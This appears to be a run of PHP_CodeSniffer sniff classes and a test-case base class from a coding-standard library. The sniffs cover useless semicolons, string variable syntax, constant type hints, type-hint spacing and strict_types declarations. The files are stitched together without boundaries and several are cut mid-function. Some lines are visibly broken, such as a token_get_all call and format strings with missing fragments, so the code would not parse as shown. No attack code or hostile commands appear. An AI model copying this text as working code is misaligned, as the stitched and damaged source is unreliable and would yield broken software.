$tokens[$parenthesisOpenerPointer]['parenthesis_closer'] - 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $parenthesisOpenerPointer, $contentStartPointer - 1); FixerHelper::removeBetweenIncluding($phpcsFile, $contentEndPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer']); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_SEMICOLON, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $semicolonPointer */ public function process(File $phpcsFile, $semicolonPointer): void { $this->checkMultipleSemicolons($phpcsFile, $semicolonPointer); $this->checkSemicolonAtTheBeginningOfScope($phpcsFile, $semicolonPointer); $this->checkSemicolonAfterScope($phpcsFile, $semicolonPointer); } private function checkMultipleSemicolons(File $phpcsFile, int $semicolonPointer): void { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $semicolonPointer - 1); if ($tokens[$previousPointer]['code'] !== T_SEMICOLON) { return; } $possibleEndScopePointer = TokenHelper::findNextLocal($phpcsFile, T_CLOSE_PARENTHESIS, $semicolonPointer + 1); if ( $possibleEndScopePointer !== null && $tokens[$possibleEndScopePointer]['parenthesis_opener'] < $semicolonPointer && array_key_exists('parenthesis_owner', $tokens[$possibleEndScopePointer]) && $tokens[$tokens[$possibleEndScopePointer]['parenthesis_owner']]['code'] === T_FOR ) { return; } $fix = $phpcsFile->addFixableError('Useless semicolon.', $semicolonPointer, self::CODE_USELESS_SEMICOLON); if (!$fix) { return; } $this->removeUselessSemicolon($phpcsFile, $semicolonPointer); } private function checkSemicolonAtTheBeginningOfScope(File $phpcsFile, int $semicolonPointer): void { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $semicolonPointer - 1); if (!in_array($tokens[$previousPointer]['code'], [T_OPEN_TAG, T_OPEN_CURLY_BRACKET], true)) { return; } $fix = $phpcsFile->addFixableError('Useless semicolon.', $semicolonPointer, self::CODE_USELESS_SEMICOLON); if (!$fix) { return; } $this->removeUselessSemicolon($phpcsFile, $semicolonPointer); } private function checkSemicolonAfterScope(File $phpcsFile, int $semicolonPointer): void { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $semicolonPointer - 1); if ($tokens[$previousPointer]['code'] !== T_CLOSE_CURLY_BRACKET) { return; } if (!array_key_exists('scope_condition', $tokens[$previousPointer])) { return; } $scopeOpenerPointer = $tokens[$previousPointer]['scope_condition']; if (in_array($tokens[$scopeOpenerPointer]['code'], [T_CLOSURE, T_FN, T_ANON_CLASS, T_MATCH], true)) { return; } $fix = $phpcsFile->addFixableError('Useless semicolon.', $semicolonPointer, self::CODE_USELESS_SEMICOLON); if (!$fix) { return; } $this->removeUselessSemicolon($phpcsFile, $semicolonPointer); } private function removeUselessSemicolon(File $phpcsFile, int $semicolonPointer): void { $tokens = $phpcsFile->getTokens(); $fixStartPointer = $semicolonPointer; do { if ($tokens[$fixStartPointer - 1]['code'] !== T_WHITESPACE) { break; } $fixStartPointer--; if ($tokens[$fixStartPointer]['content'] === $phpcsFile->eolChar) { break; } } while (true); $fixEndPointer = $semicolonPointer; while ($fixEndPointer < count($tokens) - 1) { if ($tokens[$fixEndPointer + 1]['code'] !== T_WHITESPACE) { break; } if ($tokens[$fixEndPointer + 1]['content'] === $phpcsFile->eolChar) { break; } $fixEndPointer++; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $fixStartPointer, $fixEndPointer); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_DOUBLE_QUOTED_STRING, T_HEREDOC, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stringPointer */ public function process(File $phpcsFile, $stringPointer): void { if (!$this->disallowDollarCurlySyntax && !$this->disallowCurlyDollarSyntax && !$this->disallowSimpleSyntax) { throw new UnexpectedValueException('No option is set.'); } $tokens = $phpcsFile->getTokens(); $tokenContent = $tokens[$stringPointer]['content']; if (strpos($tokenContent, '$') === false) { return; } $stringTokens = $tokens[$stringPointer]['code'] === T_HEREDOC ? token_get_all('disallowDollarCurlySyntax && $this->getTokenContent($stringToken) === '${') { $usedVariable = $stringToken[1]; for ($j = $i + 1; $j < count($stringTokens); $j++) { $usedVariable .= $this->getTokenContent($stringTokens[$j]); if ($this->getTokenContent($stringTokens[$j]) === '}') { $phpcsFile->addError( sprintf( 'Using variable syntax "${...}" inside string is disallowed as syntax "${...}" is deprecated as of PHP 8.2, found "%s".', $usedVariable, ), $stringPointer, self::CODE_DISALLOWED_DOLLAR_CURLY_SYNTAX, ); break; } } } elseif ($stringToken[0] === T_VARIABLE) { if ($this->disallowCurlyDollarSyntax && $this->getTokenContent($stringTokens[$i - 1]) === '{') { $usedVariable = $stringToken[1]; for ($j = $i + 1; $j < count($stringTokens); $j++) { $stringTokenContent = $this->getTokenContent($stringTokens[$j]); if ($stringTokenContent === '}') { break; } $usedVariable .= $stringTokenContent; } $phpcsFile->addError( sprintf( 'Using variable syntax "{$...}" inside string is disallowed, found "{%s}".', $usedVariable, ), $stringPointer, self::CODE_DISALLOWED_CURLY_DOLLAR_SYNTAX, ); } elseif ($this->disallowSimpleSyntax) { $error = true; for ($j = $i - 1; $j >= 0; $j--) { $stringTokenContent = $this->getTokenContent($stringTokens[$j]); if (in_array($stringTokenContent, ['{', '${'], true)) { $error = false; break; } if ($stringTokenContent === '}') { break; } } if ($error) { $phpcsFile->addError( sprintf( 'Using variable syntax "$..." inside string is disallowed, found "%s".', $this->getTokenContent($stringToken), ), $stringPointer, self::CODE_DISALLOWED_SIMPLE_SYNTAX, ); } } } } } /** * @param array{0: int, 1: string}|string $token */ private function getTokenContent($token): string { return is_array($token) ? $token[1] : $token; } } > $sniffProperties * @param list $codesToCheck * @param list $cliArgs */ protected static function checkFile(string $filePath, array $sniffProperties = [], array $codesToCheck = [], array $cliArgs = []): File { if (defined('PHP_CODESNIFFER_CBF') === false) { define('PHP_CODESNIFFER_CBF', false); } $codeSniffer = new Runner(); $codeSniffer->config = new Config(array_merge(['-s'], $cliArgs)); $codeSniffer->init(); if (count($sniffProperties) > 0) { foreach ($sniffProperties as $name => $value) { $sniffProperties[$name] = [ 'value' => $value, 'scope' => 'sniff', ]; } $codeSniffer->ruleset->ruleset[self::getSniffName()]['properties'] = $sniffProperties; } $sniffClassName = static::getSniffClassName(); /** @var Sniff $sniff */ $sniff = new $sniffClassName(); $codeSniffer->ruleset->sniffs = [$sniffClassName => $sniff]; if (count($codesToCheck) > 0) { foreach (self::getSniffClassReflection()->getConstants() as $constantName => $constantValue) { if (strpos($constantName, 'CODE_') !== 0 || in_array($constantValue, $codesToCheck, true)) { continue; } $codeSniffer->ruleset->ruleset[sprintf('%s.%s', self::getSniffName(), $constantValue)]['severity'] = 0; } } $codeSniffer->ruleset->populateTokenListeners(); $codeSniffer->config->tabWidth = self::TAB_WIDTH; $file = new LocalFile($filePath, $codeSniffer->ruleset, $codeSniffer->config); $file->process(); return $file; } protected static function assertNoSniffErrorInFile(File $phpcsFile): void { $errors = $phpcsFile->getErrors(); $text = sprintf('No errors expected, but %d errors found:', count($errors)); foreach ($errors as $line => $error) { $text .= sprintf( '%sLine %d:%s%s', PHP_EOL, $line, PHP_EOL, self::getFormattedErrors($error), ); } self::assertEmpty($errors, $text); } protected static function assertNoSniffWarningInFile(File $phpcsFile): void { $warnings = $phpcsFile->getWarnings(); $text = sprintf('No warnings expected, but %d warnings found:', count($warnings)); foreach ($warnings as $line => $warning) { $text .= sprintf( '%sLine %d:%s%s', PHP_EOL, $line, PHP_EOL, self::getFormattedErrors($warning), ); } self::assertEmpty($warnings, $text); } protected static function assertSniffError(File $phpcsFile, int $line, string $code, ?string $message = null): void { $errors = $phpcsFile->getErrors(); self::assertTrue(isset($errors[$line]), sprintf('Expected error on line %s, but none found.', $line)); $sniffCode = sprintf('%s.%s', self::getSniffName(), $code); self::assertTrue( self::hasError($errors[$line], $sniffCode, $message), sprintf( 'Expected error %s%s, but none found on line %d.%sErrors found on line %d:%s%s%s', $sniffCode, $message !== null ? sprintf(' with message "%s"', $message) : '', $line, PHP_EOL . PHP_EOL, $line, PHP_EOL, self::getFormattedErrors($errors[$line]), PHP_EOL, ), ); } protected static function assertSniffWarning(File $phpcsFile, int $line, string $code, ?string $message = null): void { $errors = $phpcsFile->getWarnings(); self::assertTrue(isset($errors[$line]), sprintf('Expected warning on line %s, but none found.', $line)); $sniffCode = sprintf('%s.%s', self::getSniffName(), $code); self::assertTrue( self::hasError($errors[$line], $sniffCode, $message), sprintf( 'Expected warning %s%s, but none found on line %d.%sWarnings found on line %d:%s%s%s', $sniffCode, $message !== null ? sprintf(' with message "%s"', $message) : '', $line, PHP_EOL . PHP_EOL, $line, PHP_EOL, self::getFormattedErrors($errors[$line]), PHP_EOL, ), ); } protected static function assertNoSniffError(File $phpcsFile, int $line): void { $errors = $phpcsFile->getErrors(); self::assertFalse( isset($errors[$line]), sprintf( 'Expected no error on line %s, but found:%s%s%s', $line, PHP_EOL . PHP_EOL, isset($errors[$line]) ? self::getFormattedErrors($errors[$line]) : '', PHP_EOL, ), ); } protected static function assertAllFixedInFile(File $phpcsFile): void { $phpcsFile->disableCaching(); $phpcsFile->fixer->fixFile(); self::assertStringEqualsFile(preg_replace('~(\\.php)$~', '.fixed\\1', $phpcsFile->getFilename()), $phpcsFile->fixer->getContents()); } /** * @return class-string */ protected static function getSniffClassName(): string { /** @var class-string $sniffClassName */ $sniffClassName = substr(static::class, 0, -strlen('Test')); return $sniffClassName; } protected static function getSniffName(): string { return Common::getSniffCode(static::getSniffClassName()); } private static function getSniffClassReflection(): ReflectionClass { static $reflections = []; $className = static::getSniffClassName(); return $reflections[$className] ?? $reflections[$className] = new ReflectionClass($className); } /** * @param list> $errorsOnLine */ private static function hasError(array $errorsOnLine, string $sniffCode, ?string $message): bool { $hasError = false; foreach ($errorsOnLine as $errorsOnPosition) { foreach ($errorsOnPosition as $error) { /** @var string $errorSource */ $errorSource = $error['source']; /** @var string $errorMessage */ $errorMessage = $error['message']; if ( $errorSource === $sniffCode && ( $message === null || strpos($errorMessage, $message) !== false ) ) { $hasError = true; break; } } } return $hasError; } /** * @param list> $errors */ private static function getFormattedErrors(array $errors): string { return implode( PHP_EOL, array_map( static fn (array $errors): string => implode( PHP_EOL, array_map(static fn (array $error): string => sprintf("\t%s: %s", $error['source'], $error['message']), $errors), ), $errors, ), ); } } */ private static array $tokenToTypeHintMapping = [ T_FALSE => 'false', T_TRUE => 'true', T_DNUMBER => 'float', T_LNUMBER => 'int', T_NULL => 'null', T_OPEN_SHORT_ARRAY => 'array', T_CONSTANT_ENCAPSED_STRING => 'string', T_START_NOWDOC => 'string', T_START_HEREDOC => 'string', ]; /** * @return array */ public function register(): array { return [ T_CONST, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $constantPointer */ public function process(File $phpcsFile, $constantPointer): void { if (ClassHelper::getClassPointer($phpcsFile, $constantPointer) === null) { // Constant in namespace return; } $this->checkNativeTypeHint($phpcsFile, $constantPointer); $this->checkDocComment($phpcsFile, $constantPointer); } private function checkNativeTypeHint(File $phpcsFile, int $constantPointer): void { $this->enableNativeTypeHint = SniffSettingsHelper::isEnabledByPhpVersion($this->enableNativeTypeHint, 80300); if (!$this->enableNativeTypeHint) { return; } $namePointer = $this->getConstantNamePointer($phpcsFile, $constantPointer); $typeHintPointer = TokenHelper::findPreviousEffective($phpcsFile, $namePointer - 1); if ($typeHintPointer !== $constantPointer) { // Has type hint return; } $tokens = $phpcsFile->getTokens(); $namePointer = $this->getConstantNamePointer($phpcsFile, $constantPointer); $equalPointer = TokenHelper::findNext($phpcsFile, T_EQUAL, $constantPointer + 1); $valuePointer = TokenHelper::findNextEffective($phpcsFile, $equalPointer + 1); if ($tokens[$valuePointer]['code'] === T_MINUS) { $valuePointer = TokenHelper::findNextEffective($phpcsFile, $valuePointer + 1); } $constantName = $tokens[$namePointer]['content']; $typeHint = null; if (array_key_exists($tokens[$valuePointer]['code'], self::$tokenToTypeHintMapping)) { $typeHint = self::$tokenToTypeHintMapping[$tokens[$valuePointer]['code']]; } $errorParameters = [ sprintf('Constant %s does not have native type hint.', $constantName), $constantPointer, self::CODE_MISSING_NATIVE_TYPE_HINT, ]; if ( $typeHint === null || $this->fixableNativeTypeHint === self::NO || ( $this->fixableNativeTypeHint === self::PRIVATE && !$this->isConstantPrivate($phpcsFile, $constantPointer) ) ) { $phpcsFile->addError(...$errorParameters); return; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $constantPointer, ' ' . $typeHint); $phpcsFile->fixer->endChangeset(); } private function checkDocComment(File $phpcsFile, int $constantPointer): void { $docCommentOpenPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $constantPointer); if ($docCommentOpenPointer === null) { return; } $annotations = AnnotationHelper::getAnnotations($phpcsFile, $constantPointer, '@var'); if ($annotations === []) { return; } $tokens = $phpcsFile->getTokens(); $namePointer = $this->getConstantNamePointer($phpcsFile, $constantPointer); $constantName = $tokens[$namePointer]['content']; $uselessDocComment = !DocCommentHelper::hasDocCommentDescription($phpcsFile, $constantPointer) && count($annotations) === 1; if ($uselessDocComment) { $fix = $phpcsFile->addFixableError( sprintf('Useless documentation comment for constant %s.', $constantName), $docCommentOpenPointer, self::CODE_USELESS_DOC_COMMENT, ); /** @var int $fixerStart */ $fixerStart = TokenHelper::findLastTokenOnPreviousLine($phpcsFile, $docCommentOpenPointer); $fixerEnd = $tokens[$docCommentOpenPointer]['comment_closer']; } else { $annotation = $annotations[0]; $fix = $phpcsFile->addFixableError( sprintf('Useless @var annotation for constant %s.', $constantName), $annotation->getStartPointer(), self::CODE_USELESS_VAR_ANNOTATION, ); /** @var int $fixerStart */ $fixerStart = TokenHelper::findPreviousContent( $phpcsFile, T_DOC_COMMENT_WHITESPACE, $phpcsFile->eolChar, $annotation->getStartPointer() - 1, ); $fixerEnd = $annotation->getEndPointer(); } if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $fixerStart, $fixerEnd); $phpcsFile->fixer->endChangeset(); } private function getConstantNamePointer(File $phpcsFile, int $constantPointer): int { $equalPointer = TokenHelper::findNext($phpcsFile, T_EQUAL, $constantPointer + 1); return TokenHelper::findPreviousEffective($phpcsFile, $equalPointer - 1); } private function isConstantPrivate(File $phpcsFile, int $constantPointer): bool { $tokens = $phpcsFile->getTokens(); $previousPointer = TokenHelper::findPrevious( $phpcsFile, [T_PRIVATE, T_OPEN_CURLY_BRACKET, T_CLOSE_CURLY_BRACKET, T_SEMICOLON], $constantPointer - 1, ); return $previousPointer !== null && $tokens[$previousPointer]['code'] === T_PRIVATE; } } */ public function register(): array { return [ T_VARIABLE, ...TokenHelper::FUNCTION_TOKEN_CODES, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $this->enable = SniffSettingsHelper::isEnabledByPhpVersion($this->enable, 80000); if (!$this->enable) { return; } $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_VARIABLE) { if (!PropertyHelper::isProperty($phpcsFile, $pointer)) { return; } $propertyTypeHint = PropertyHelper::findTypeHint($phpcsFile, $pointer); if ($propertyTypeHint !== null) { $this->checkTypeHint($phpcsFile, $propertyTypeHint); } return; } $returnTypeHint = FunctionHelper::findReturnTypeHint($phpcsFile, $pointer); if ($returnTypeHint !== null) { $this->checkTypeHint($phpcsFile, $returnTypeHint); } foreach (FunctionHelper::getParametersTypeHints($phpcsFile, $pointer) as $parameterTypeHint) { if ($parameterTypeHint !== null) { $this->checkTypeHint($phpcsFile, $parameterTypeHint); } } } private function checkTypeHint(File $phpcsFile, TypeHint $typeHint): void { $tokens = $phpcsFile->getTokens(); $typeHintsCount = substr_count($typeHint->getTypeHint(), '|') + substr_count($typeHint->getTypeHint(), '&') + 1; if ($typeHintsCount > 1) { if ($this->withSpacesAroundOperators === self::NO) { $error = false; foreach (TokenHelper::findNextAll( $phpcsFile, T_WHITESPACE, $typeHint->getStartPointer(), $typeHint->getEndPointer(), ) as $whitespacePointer) { if (in_array($tokens[$whitespacePointer - 1]['code'], [T_TYPE_UNION, T_TYPE_INTERSECTION], true)) { $error = true; break; } if (in_array($tokens[$whitespacePointer + 1]['code'], [T_TYPE_UNION, T_TYPE_INTERSECTION], true)) { $error = true; break; } } if ($error) { $originalTypeHint = TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer()); $fix = $phpcsFile->addFixableError( sprintf('Spaces around "|" or "&" in type hint "%s" are disallowed.', $originalTypeHint), $typeHint->getStartPointer(), self::CODE_DISALLOWED_WHITESPACE_AROUND_OPERATOR, ); if ($fix) { $fixedTypeHint = preg_replace('~\s*([|&])\s*~', '\1', $originalTypeHint); $this->fixTypeHint($phpcsFile, $typeHint, $fixedTypeHint); } } } elseif ($this->withSpacesAroundOperators === self::YES) { $error = false; foreach (TokenHelper::findNextAll( $phpcsFile, [T_TYPE_UNION, T_TYPE_INTERSECTION], $typeHint->getStartPointer(), $typeHint->getEndPointer(), ) as $operatorPointer) { if ($tokens[$operatorPointer - 1]['content'] !== ' ') { $error = true; break; } if ($tokens[$operatorPointer + 1]['content'] !== ' ') { $error = true; break; } } if ($error) { $originalTypeHint = TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer()); $fix = $phpcsFile->addFixableError( sprintf('One space required around each "|" or "&" in type hint "%s".', $originalTypeHint), $typeHint->getStartPointer(), self::CODE_REQUIRED_WHITESPACE_AROUND_OPERATOR, ); if ($fix) { $fixedTypeHint = preg_replace('~\s*([|&])\s*~', ' \1 ', $originalTypeHint); $this->fixTypeHint($phpcsFile, $typeHint, $fixedTypeHint); } } } if ($this->withSpacesInsideParentheses === self::NO) { $error = false; foreach (TokenHelper::findNextAll( $phpcsFile, T_WHITESPACE, $typeHint->getStartPointer(), $typeHint->getEndPointer(), ) as $whitespacePointer) { if ($tokens[$whitespacePointer - 1]['code'] === T_TYPE_OPEN_PARENTHESIS) { $error = true; break; } if ($tokens[$whitespacePointer + 1]['code'] === T_TYPE_CLOSE_PARENTHESIS) { $error = true; break; } } if ($error) { $originalTypeHint = TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer()); $fix = $phpcsFile->addFixableError( sprintf('Spaces inside parentheses in type hint "%s" are disallowed.', $originalTypeHint), $typeHint->getStartPointer(), self::CODE_DISALLOWED_WHITESPACE_INSIDE_PARENTHESES, ); if ($fix) { $fixedTypeHint = preg_replace('~\s+\)~', ')', preg_replace('~\(\s+~', '(', $originalTypeHint)); $this->fixTypeHint($phpcsFile, $typeHint, $fixedTypeHint); } } } elseif ($this->withSpacesInsideParentheses === self::YES) { $error = false; foreach (TokenHelper::findNextAll( $phpcsFile, [T_TYPE_OPEN_PARENTHESIS, T_TYPE_CLOSE_PARENTHESIS], $typeHint->getStartPointer(), $typeHint->getEndPointer() + 1, ) as $parenthesisPointer) { if ( $tokens[$parenthesisPointer]['code'] === T_TYPE_OPEN_PARENTHESIS && $tokens[$parenthesisPointer + 1]['content'] !== ' ' ) { $error = true; break; } if ( $tokens[$parenthesisPointer]['code'] === T_TYPE_CLOSE_PARENTHESIS && $tokens[$parenthesisPointer - 1]['content'] !== ' ' ) { $error = true; break; } } if ($error) { $originalTypeHint = TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer()); $fix = $phpcsFile->addFixableError( sprintf('One space required around expression inside parentheses in type hint "%s".', $originalTypeHint), $typeHint->getStartPointer(), self::CODE_REQUIRED_WHITESPACE_INSIDE_PARENTHESES, ); if ($fix) { $fixedTypeHint = preg_replace('~\s*\)~', ' )', preg_replace('~\(\s*~', '( ', $originalTypeHint)); $this->fixTypeHint($phpcsFile, $typeHint, $fixedTypeHint); } } } } if (substr_count($typeHint->getTypeHint(), '&') > 0) { return; } if (!$typeHint->isNullable()) { return; } $hasShortNullable = strpos($typeHint->getTypeHint(), '?') === 0; if ($this->shortNullable === self::YES && $typeHintsCount === 2 && !$hasShortNullable) { $fix = $phpcsFile->addFixableError( sprintf('Short nullable type hint in "%s" is required.', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_REQUIRED_SHORT_NULLABLE, ); if ($fix) { $typeHintWithoutNull = self::getTypeHintContentWithoutNull($phpcsFile, $typeHint); $this->fixTypeHint($phpcsFile, $typeHint, '?' . $typeHintWithoutNull); } } elseif ($this->shortNullable === self::NO && $hasShortNullable) { $fix = $phpcsFile->addFixableError( sprintf('Usage of short nullable type hint in "%s" is disallowed.', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_DISALLOWED_SHORT_NULLABLE, ); if ($fix) { $this->fixTypeHint($phpcsFile, $typeHint, substr($typeHint->getTypeHint(), 1) . '|null'); } } if ($hasShortNullable || ($this->shortNullable === self::YES && $typeHintsCount === 2)) { return; } if ($this->nullPosition === self::FIRST && strtolower($tokens[$typeHint->getStartPointer()]['content']) !== 'null') { $fix = $phpcsFile->addFixableError( sprintf('Null type hint should be on first position in "%s".', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_NULL_TYPE_HINT_NOT_ON_FIRST_POSITION, ); if ($fix) { $this->fixTypeHint($phpcsFile, $typeHint, 'null|' . self::getTypeHintContentWithoutNull($phpcsFile, $typeHint)); } } elseif ($this->nullPosition === self::LAST && strtolower($tokens[$typeHint->getEndPointer()]['content']) !== 'null') { $fix = $phpcsFile->addFixableError( sprintf('Null type hint should be on last position in "%s".', $typeHint->getTypeHint()), $typeHint->getStartPointer(), self::CODE_NULL_TYPE_HINT_NOT_ON_LAST_POSITION, ); if ($fix) { $this->fixTypeHint($phpcsFile, $typeHint, self::getTypeHintContentWithoutNull($phpcsFile, $typeHint) . '|null'); } } } private function getTypeHintContentWithoutNull(File $phpcsFile, TypeHint $typeHint): string { $tokens = $phpcsFile->getTokens(); if (strtolower($tokens[$typeHint->getEndPointer()]['content']) === 'null') { $previousTypeHintPointer = TokenHelper::findPrevious( $phpcsFile, TokenHelper::ONLY_TYPE_HINT_TOKEN_CODES, $typeHint->getEndPointer() - 1, ); return TokenHelper::getContent($phpcsFile, $typeHint->getStartPointer(), $previousTypeHintPointer); } $content = ''; for ($i = $typeHint->getStartPointer(); $i <= $typeHint->getEndPointer(); $i++) { if (strtolower($tokens[$i]['content']) === 'null') { $i = TokenHelper::findNext($phpcsFile, TokenHelper::ONLY_TYPE_HINT_TOKEN_CODES, $i + 1); } $content .= $tokens[$i]['content']; } return $content; } private function fixTypeHint(File $phpcsFile, TypeHint $typeHint, string $fixedTypeHint): void { $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $typeHint->getStartPointer(), $typeHint->getEndPointer(), $fixedTypeHint); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $openTagPointer */ public function process(File $phpcsFile, $openTagPointer): void { $this->linesCountBeforeDeclare = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeDeclare); $this->linesCountAfterDeclare = SniffSettingsHelper::normalizeInteger($this->linesCountAfterDeclare); $this->spacesCountAroundEqualsSign = SniffSettingsHelper::normalizeInteger($this->spacesCountAroundEqualsSign); if (TokenHelper::findPrevious($phpcsFile, T_OPEN_TAG, $openTagPointer - 1) !== null) { return; } $tokens = $phpcsFile->getTokens(); $declarePointer = TokenHelper::findNextEffective($phpcsFile, $openTagPointer + 1); if ($declarePointer === null || $tokens[$declarePointer]['code'] !== T_DECLARE) { $fix = $phpcsFile->addFixableError( sprintf('Missing declare(%s).', $this->getStrictTypeDeclaration()), $openTagPointer, self::CODE_DECLARE_STRICT_TYPES_MISSING, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::change( $phpcsFile, $openTagPointer, substr($tokens[$openTagPointer]['content'], -1) === $phpcsFile->eolChar ? $openTagPointer : $openTagPointer + 1, sprintf('getStrictTypeDeclaration(), $phpcsFile->eolChar), ); $phpcsFile->fixer->endChangeset(); } return; } $strictTypesPointer = null; for ($i = $tokens[$declarePointer]['parenthesis_opener'] + 1; $i < $tokens[$declarePointer]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_STRING || $tokens[$i]['content'] !== 'strict_types') { continue; } $strictTypesPointer = $i; break; } if ($strictTypesPointer === null) { $fix = $phpcsFile->addFixableError( sprintf('Missing declare(%s).', $this->getStrictTypeDeclaration()), $declarePointer, self::CODE_DECLARE_STRICT_TYPES_MISSING, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore( $phpcsFile, $tokens[$declarePointer]['parenthesis_closer'], ', ' . $this->getStrictTypeDeclaration(), ); $phpcsFile->fixer->endChangeset(); } return; } /** @var int $numberPointer */ $numberPointer = TokenHelper::findNext($phpcsFile, T_LNUMBER, $strictTypesPointer + 1); if ($tokens[$numberPointer]['content'] !== '1') { $fix = $phpcsFile->addFixableError( sprintf( 'Expected %s, found %s.', $this->getStrictTypeDeclaration(), TokenHelper::getContent($phpcsFile, $strictTypesPointer, $numberPointer), ), $declarePointer, self::CODE_DECLARE_STRICT_TYPES_MISSING, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $numberPointer, '1'); $phpcsFile->fixer->endChangeset(); } return; } $strictTypesContent = TokenHelper::getContent($phpcsFile, $strictTypesPointer, $numberPointer); $format = sprintf('strict_types%1$s=%1$s1', str_repeat(' ', $this->spacesCountAroundEqualsSign)); if ($strictTypesContent !== $format) { $fix = $phpcsFile->addFixableError( sprintf( 'Expected %s, found %s.', $format, $strictTypesContent, ), $strictTypesPointer, self::CODE_INCORRECT_STRICT_TYPES_FORMAT, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $strictTypesPointer, $numberPointer, $format); $phpcsFile->fixer->endChangeset(); } } $pointerBeforeDeclare = TokenHelper::findPreviousNonWhitespace($phpcsFile, $declarePointer - 1); $whitespaceBefore = ''; if ($pointerBeforeDeclare === $openTagPointer) { $whitespaceBefore .= substr($tokens[$openTagPointer]['content'], strlen('declareOnFirstLine) { if ($whitespaceBefore !== ' ') { $fix = $phpcsFile->addFixableError( 'There must be a single space between the PHP open tag and declare statement.', $declarePointer, self::CODE_INCORRECT_WHITESPACE_BEFORE_DECLARE, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $openTagPointer, $declarePointer - 1, 'fixer->endChangeset(); } } } else { $declareOnFirstLine = $tokens[$declarePointer]['line'] === $tokens[$openTagPointer]['line']; $whitespaceLinesBeforeDeclare = $this->linesCountBeforeDeclare; $linesCountBefore = 0; if (!$declareOnFirstLine) { $linesCountBefore = substr_count($whitespaceBefore, $phpcsFile->eolChar); if ( $tokens[$pointerBeforeDeclare]['code'] === T_COMMENT && CommentHelper::isLineComment($phpcsFile, $pointerBeforeDeclare) ) { $whitespaceLinesBeforeDeclare--; } else { $linesCountBefore--; } } if ($declareOnFirstLine || $linesCountBefore !== $this->linesCountBeforeDeclare) { $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s before declare statement, found %d.', $this->linesCountBeforeDeclare, $this->linesCountBeforeDeclare === 1 ? '' : 's', $linesCountBefore, ), $declarePointer, self::CODE_INCORRECT_WHITESPACE_BEFORE_DECLARE, ); if ($fix) { $phpcsFile->fixer->beginChangeset(); if ($pointerBeforeDeclare === $openTagPointer) { FixerHelper::replace($phpcsFile, $openTagPointer, 'fixer->addNewline($pointerBeforeDeclare); } $phpcsFile->fixer->endChangeset(); } } } /** @var int $declareSemicolonPointer */ $declareSemicolonPointer = TokenHelper::findNextEffective($phpcsFile, $tokens[$declarePointer]['parenthesis_closer'] + 1); $pointerAfterWhitespaceEnd = TokenHelper::findNextNonWhitespace($phpcsFile, $declareSemicolonPointer + 1); if ($pointerAfterWhitespaceEnd === null) { return; } $whitespaceAfter = TokenHelper::getContent($phpcsFile, $declareSemicolonPointer + 1, $pointerAfterWhitespaceEnd - 1); $newLinesAfter = substr_count($whitespaceAfter, $phpcsFile->eolChar); $linesCountAfter = $newLinesAfter > 0 ? $newLinesAfter - 1 : 0; if ($linesCountAfter === $this->linesCountAfterDeclare) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s after declare statement, found %d.', $this->linesCountAfterDeclare, $this->linesCountAfterDeclare === 1 ? '' : 's', $linesCountAfter, ), $declarePointer, self::CODE_INCORRECT_WHITESPACE_AFTER_DECLARE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $declareSemicolonPointer, $pointerAfterWhitespaceEnd); for ($i = 0; $i <= $this->linesCountAfterDeclare; $i++) { $phpcsFile->fixer->addNewline($declareSemicolonPointer); } $phpcsFile->fixer->endChangeset(); } protected function getStrictTypeDeclaration(): string { return sprintf( 'strict_types%s=%s1', str_repeat(' ', $this->spacesCountAroundEqualsSign), str_repeat(' ', $this->spacesCountAroundEqualsSign), ); } } */ public array $traversableTypeHints = []; /** @var array|null */ private ?array $normalizedTraversableTypeHints = null; /** * @return array */ public function register(): array { return [ 